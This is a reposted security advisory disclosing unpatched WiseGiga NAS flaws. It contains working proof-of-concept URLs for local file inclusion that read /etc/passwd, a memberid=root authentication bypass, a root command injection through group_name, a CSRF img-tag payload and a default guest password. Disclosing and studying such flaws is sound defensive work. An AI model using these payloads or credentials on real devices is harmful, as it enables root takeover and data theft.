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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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Source: https://blogs.securiteam.com/index.php/archives/3402

Vulnerabilities summary
The following advisory describes five (5) vulnerabilities and default accounts / passwords found in WiseGiga NAS devices.

WiseGiga is a Korean company selling NAS products.

The vulnerabilities found in WiseGiga NAS are:

Pre-Authentication Local File Inclusion (4 different vulnerabilities)
Post-Authentication Local File Inclusion
Remote Command Execution as root
Remote Command Execution as root with CSRF
Info Leak
Default accounts


Credit
An independent security researcher, Pierre Kim, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program


Vendor response
We tried to contact WiseGiga since June 2017, repeated attempts to establish contact went unanswered. At this time there is no solution or workaround for these vulnerabilities.


Vulnerabilities details

Pre-Authentication Local File Inclusion
User controlled input is not sufficiently sanitized and can be exploit by an attacker to get sensitive information (for example, passwords).

By sending GET request to the following URI’s with filename= as a parameter, an attacker can trigger the vulnerabilities:

/webfolder/download_file1.php
down_data.php
download_file.php
mobile/download_file1.php


Proof of Concept
http://IP/webfolder/download_file1.php?filename=/etc/passwd
http://IP/down_data.php?filename=/etc/passwd
http://IP/download_file.php?filename=base64(/etc/passwd)
http://IP/mobile/download_file1.php?filename=base64(/etc/passwd)

Post-Authentication Local File Inclusion
User controlled input is not sufficiently sanitized and can be exploit by an attacker to get sensitive information (for example, passwords).

By sending GET request to /mobile/download_file2.php an attacker can trigger the vulnerability.


Proof of Concept
http://IP//mobile/download_file2.php?filename=base64(/etc/passwd)


Remote Command Execution as root
The WiseGiga NAS firmware contain pre.php files in the different directories.

For example:
/app_data/apache/htdocs/auto/pre.php
/app_data/apache/htdocs/admin/iframe/pre.php
/app_data/apache/htdocs/admin/pre.php
/app_data/apache/htdocs/mobile/pre.php
/app_data/apache/htdocs/wiseapp/config/pre.php
/app_data/apache/htdocs/pre.php
/home/htdocs/webfolder/pre.php
/ub/update/init/pre.php
/tmp/home/root/htdocs/auto/pre.php
/tmp/home/root/htdocs/pre.php


A “standard” pre.php contains:

    181 [...]
    182 function  auth()
    183 { 
    184  global $memberid;
    185  session_start();
    186 //echo $memberid;
    187  if($memberid=="root")
    188  {
    189   // print<<<__DATA_OF_HTML__
    190   //<script language="JavaScript">
    191   //  alert("sucess !");
    192   //</script>
    193 //__DATA_OF_HTML__;
    194  }
    195  else
    196  {
    197   print<<<__DATA_OF_HTML__
    198   <script language="JavaScript">
    199     alert("\xc0\xce\xc1\xf5\xb9\xde\xc1\xf6 \xbe\xca\xc0\xba \xbb\xe7\xbf\xeb\xc0\xda\xc0\xd4\xb4\xcf\xb4\xd9!");
    200 //    location.href='/admin/';
    201       window.open('index.php','_parent');
    202     exit;
    203   </script>
    204 __DATA_OF_HTML__;
    205  }
    206
    207 }


Using global $memberid (line 184), the attacker can override the authentication, by specifying a valid user (“root”) inside the HTTP request:

GET /webpage[...]?memberid=root&[...] HTTP/1.0


The pre.php files also contains a function called root_exec_cmd() that is a wrapper to popen():

23 function root_exec_cmd($cmd)
24 {
25         $tmpfile=fopen("/tmp/ramdisk/cmd.list","w");
26         fwrite($tmpfile,$cmd);
27         fclose($tmpfile);
28         popen("/tmp/ramdisk/ramush","r");
29 }

By sending a GET request to root_exec_cmd() with user controlled $cmd variable input an attacker can execute arbitrary commands

The WiseGiga NAS run’s the Apache server as root (uid=0 with gid=48 “apache”) hence the commands will execute as root.


Proof of Concept
By sending GET request to /admin/group.php with parameter ?cmd=add the WiseGiga NAS will call the add_system() function:

178 if($cmd == "add")
179 {
180         add_system();
181 }

The add_system() function uses global for $group_name and $user_data.

Then it will pass the user controlled input and will run it as root:

145 function add_system()
146 {
147         global $group_name,$user_data;
148
149     if(add_conf()==1)
150     {
151 //====================================================================================
152         root_exec_cmd("addgroup $group_name");


An attacker can get unauthenticated RCE as root by sending the following request:

http://IP/admin/group.php?memberid=root&cmd=add&group_name=d;id%20>%20/tmp/a

The file /tmp/a will contain:

uid=0(root) gid=48(apache) groups=48(apache)


Remote Command Execution as root with CSRF
There is no CSRF protection in WiseGiga NAS.

An attacker can force the execution of a command as root when the victim visits the malicious website.


Proof of Concept
Once the victim visit the attacker’s website with the following code, the attacker can execute arbitrary commands.

<img src="http://192.168.1.1/admin/group.php?memberid=root&cmd=add&group_name=d;COMMANDTOEXECUTE">


InfoLeak
accessing http://IP/webfolder/config/config.php will disclose the PHP configuration.


Default accounts
Username: guest
Password: guest09#$